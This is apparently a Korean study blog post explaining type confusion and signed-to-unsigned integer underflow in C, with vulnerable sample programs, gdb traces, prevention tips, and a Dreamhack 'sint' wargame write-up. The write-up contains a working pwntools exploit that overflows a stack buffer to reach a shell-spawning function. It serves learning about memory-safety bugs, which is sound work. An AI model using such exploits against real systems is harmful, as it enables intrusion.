혼자 공부 中 정리
1. Logical Bug
1-1 Type Error와 Type Confusion
1-1-1 실제 문제 풀어보기 (sint)
1. Logical Bug
1-1 Type Error란?
Type Error는 자료형(Type)의 잘못된 사용으로 발생하는 오류입니다.프로그래밍 언어에서는 각 변수나 상수의 자료형이 정해져 있고,
이 자료형에 맞지 않는 방식으로 연산하거나 전달하게 되면컴파일 타임 혹은 런타임에서 오류가 발생하게 됩니다.
크게 두 가지로 나눌 수 있습니다.
구분설명예시
이번 학습에서 중점적으로 다루는 부분은 후자인 런타임 타입 혼동 (Type Confusion)입니다.
드림핵 강의 실습 코드와 함께 더 자세히 살펴보겠습니다!
// Name: out_of_range.c
// Compile: gcc -o out_of_range out_of_range.c
#include <stdio.h>
unsigned long long factorial(unsigned int n) {
unsigned long long res = 1;
for (int i = 1; i <= n; i++) {
res *= i;
}
return res;
}
int main() {
unsigned int n;
unsigned int res;
printf("Input integer n: ");
scanf("%d", &n);
if (n >= 50) {
fprintf(stderr, "Input is too large");
return -1;
}
res = factorial(n);
printf("Factorial of N: %u\n", res);
}
// Name: oor_signflip.c
// Compile: gcc -o oor_signflip oor_signflip.c
#include <stdio.h>
unsigned long long factorial(unsigned int n) {
unsigned long long res = 1;
for (int i = 1; i <= n; i++) {
res *= i;
}
return res;
}
int main() {
int n;
unsigned int res;
printf("Input integer n: ");
scanf("%d", &n);
if (n >= 50) {
fprintf(stderr, "Input is too large");
return -1;
}
res = factorial(n);
printf("Factorial of N: %u\n", res);
}
oor_signflip코드랑 out_of_range코드의 차이점은
unsigned int n ---> int n으로 변경 됨
이 차이는 단순해보이지만 아주 큰 문제를 발생시키는데요. 바로 위 캡쳐처럼
음수를 넣었는데 프로그램은 계속 가동됩니다 out_of_range는 input is too large라고 끝내버리는데 말이죠.
똑같이 둘다 조건은 분명히 if (n >= 50)으로 막혀 있는데, 왜 루프는 계속 돌고 있을까요?
int n;
scanf("%d", &n); // -1 입력
factorial(n); // unsigned int 받는 함수로 넘김
-1을 입력하면, n에는 0xFFFFFFFF가 저장됩니다.
그런데 이 값을 unsigned int로 해석하면?
→ 4294967295
그 순간 깨달았습니다.
아… 타입이 문제가 아니라, 해석이 문제였구나.
디버깅과 메모리 관점
C언어에서 변수를 전달할 때, 컴파일러는 변수의 “타입”이 아닌 “값(비트)”을 복사합니다.
즉, 타입은 컴파일 타임에만 의미가 있으며,
실제 실행 시점에는 4바이트든 8바이트든 해당 비트열이 그대로 메모리에 전달되는 것입니다.
이를 통해 다음과 같은 일이 발생할 수 있습니다:
int n = -1일 때, 실제 메모리에는 0xFFFFFFFF가 저장됩니다.
이 값을 unsigned int로 해석하면 4294967295가 됩니다.
→ 같은 비트, 다른 해석 방식이 Type Confusion 즉, 이름 그대로 타입이 혼란스럽다는거죠.
메모리는 그냥..읽었을뿐이고, 그렇게 저장했을 뿐인거죠. 인간이 미안해 ㅠㅠ
Type Confusion의 위험성
단순히 루프가 오래 도는 문제로 끝날 수도 있지만,
만약 코드 내부에서 메모리 할당, 파일 열기, 시스템 콜 등의 동작이 함께 수행된다면 다음과 같은 보안 문제가 발생할 수 있습니다:
Denial of Service (서비스 거부, DoS): 무한 루프 또는 자원 고갈
Heap Overflow / Stack Overflow: 너무 많은 메모리 사용으로 인한 침해
조건문 우회: 인증 우회, 파일 열기 조건 우회 등
실제 CTF나 실무에서도 이런 Signed → Unsigned 변환을 유도하여 조건문을 우회하는 공격 시나리오가 자주 등장합니다.
아래 코드(bof) 를 보면 실제로 더 와닿을 수 있는데요.
// Name: oor_bof.c
// Compile: gcc -o oor_bof oor_bof.c -m32
#include <stdio.h>
#define BUF_SIZE 32
int main() {
char buf[BUF_SIZE];
int size;
printf("Input length: ");
scanf("%d", &size);
if (size > BUF_SIZE) {
fprintf(stderr, "Buffer Overflow Detected");
return -1;
}
read(0, buf, size);
return 0;
}
read는 내부적으로 size_t (unsigned) 를 받기 때문에
-1 → 0xFFFFFFFF 바이트를 읽으려고 한다.
→ 스택에 32바이트 할당돼 있는데
→ 4GB 쓰라고 명령한 셈이 됨
결국 buf부터 canary, saved ebp, ret까지 다 날아가고
프로그램은 종료되면서 "stack smashing detected" 에러가 뜨는 거다.
gdb를 통해서 직접 확인해보자 메모리가 어떻게 터졌는지
from pwn import *
context.arch = 'i386' # 32비트니까!
context.os = 'linux'
p = process('./oor_bof')
# GDB 붙이기 전 잠깐 멈춤용
gdb.attach(p)
pause() # 수동 진행용, gdb에 명령 직접 치고 싶으면 사용
p.sendline(b"-1")
p.send(b"A" * 100) # 오버플로우 시도!
p.interactive()
read()시스템콜 진입 직전의 시점 gdb에 attach를 한 후, 정상적인 프로그램 흐름을 먼저 확인
input 값에 -1을 넣기전 스택과 레지스터 모습.
eax = 0xfffffe00 // read 결과: -512 → 실패 (음수)
ecx = 0x601315b0 // read buffer?
edx = 0x1000 // read size
esp = 0xff8f0230 // 현재 스택 포인터
ebp = 0xff8f0298 // 이전 프레임 포인터
eip = 0xf3975579 // __kernel_vsyscall
대망의 input값을 -1 넣어보자
헉 저기 보이는 어마무시한 값이 보인다. 0xffffffff
read(0, buf, 0xffffffff); 를 실행하려는 순간
거의 4GB 읽으라는 요청
커널에서 이걸 허용할 리가 없고, SIGABRT (abort) 발생 가능성 매우 높음
보통은 "*** stack smashing detected" 또는 "segfault" 으로 이어짐
입력 안된다 read가 buf에 엄청나게 많이 write 시도, 여기서 아무것도 입력안하고 넘어가면 정상종료. 왜? write시도했는데 아무것도 읽을 데이터가 없으니까.
oor_bof.c 실행 → scanf("%d", &size) → -1 입력
read(0, buf, size) 실행됨 → size == 0xffffffff
버퍼 오버플로우 시도했지만, 실제 메모리 손상 없이 종료됨
main() 끝나고 ret → __libc_start_call_main() → exit() 호출
마지막 줄: [Inferior 1 (process 6978) exited normally]
즉, 비정상 종료(SIGABRT, SIGSEGV) 안 났다는 뜻
이제 bof를 위해 겁나 많은 aaaaaaaaaaa를 넣어버리면?
x/x $ebp에서
0xf7fc2500: 0xf7fc2500
이건 말도 안 되는 자기참조 값 → 즉 스택에 있던 EBP, RET 다 날라간 것
0xffffcb70: 0xf7fc2500 0x00000006 0x00001b61 0xf7e01f87
^-- 바로 그 카나리 깨져서 감지된 뒤 abort 흐름 시작!
eax = 0
ebx = 0x1b61
esp = 0xffffcb70 → 0xf7fc2500
ebp = 0xf7fc2500
→ 전형적인 스택 침식 후 카나리 깨진 상태 + 함수 리턴 직전의 비정상 종료 상황 즉 bof 발생!
Type Error 방지 방법
1. 입력값에 대한 범위 검증을 철저히 하자
if (n < 0 || n >= 50) {
fprintf(stderr, "Invalid input\n");
return -1;
}
입력값이 음수인지 명시적으로 체크
상한/하한 범위 지정
가능하면 size_t나 unsigned는 입력값으로 직접 받지 않도록 주의
2.signed ↔ unsigned 자동 형변환을 조심하자
혼합 타입 사용 금지 (ex: int로 받고 unsigned에 넣지 말 것)
3.함수 인자 타입 일치시키기
int로 받은 값을 unsigned int 인자에 넘기기
함수 선언부와 호출부의 타입을 명확히 일치시킬 것
예: factorial(unsigned int n)이면, main에서도 unsigned int n을 사용
4.입력 검증 + 출력 타입도 일관성 유지
출력 포맷 지정자도 타입에 맞게!
unsigned long long이면 %llu, unsigned int면 %u
5.정적 분석기 or 컴파일러 경고를 적극 활용하자
gcc -Wall -Wextra -Wconversion 옵션 켜기
→ 자동 형변환 경고 잡아줌
clang-tidy, cppcheck 같은 정적 분석 도구로 타입 혼동 감지 가능
1-1-1 실제 문제 풀어보기 (sint)
sint
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
Integer Underflow문제입니다.
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
조건이 걸려있는데, size가 256초과거나 0미만이면 프로그램을 종료합니다. 취약점 있는 부분은 아래 코드인데요
read(0, buf, size - 1);
size-1만큼 buf에 입력을 받습니다. 그럼 만약 size에 0을넣으면 -1이 되기에 if문을 우회할 수 있게됩니다
int size;
그리고 size는 int로 선언된만큼 read함수의 세번째 인자가 -1이 되버리면 부호가 없기때문에, integer underflow가 발생해서
4294967295크기만큼 입력을 받게되면 overflow가 발생!
get_shell주소는 0x08048659
페이로드흐름은 다음과 같다
0으로 if문을 우회 후
리턴 주소를 쓰레기 값으로 덮어서 sigsegv발생시킨후 자동으로 get_shell 주소가 실행된다
from pwn import *
p = remote("host8.dreamhack.games", 12220)
elf = ELF('./sint')
shell = elf.symbols['get_shell']
payload = b'A'*260
payload += p32(shell)
p.recvuntil(b'Size: ')
p.sendline(b'0')
p.recvuntil(b'Data: ')
p.send(payload)
p.interactive()
결과
gdb로 확인해보기
main+137 → read(0, buf, size - 1) 호출 상태
nbytes = 0xffffffff = 4294967295
→ 이유: scanf("%d", &size)에서 0 입력 → size - 1 = -1 → 부호 없는 unsigned int로 해석되며 0xffffffff
buf = 0xffffcbf8 → 256바이트 짜리 버퍼
그런데 지금 0xffffffff 바이트를 읽겠다고 한 상태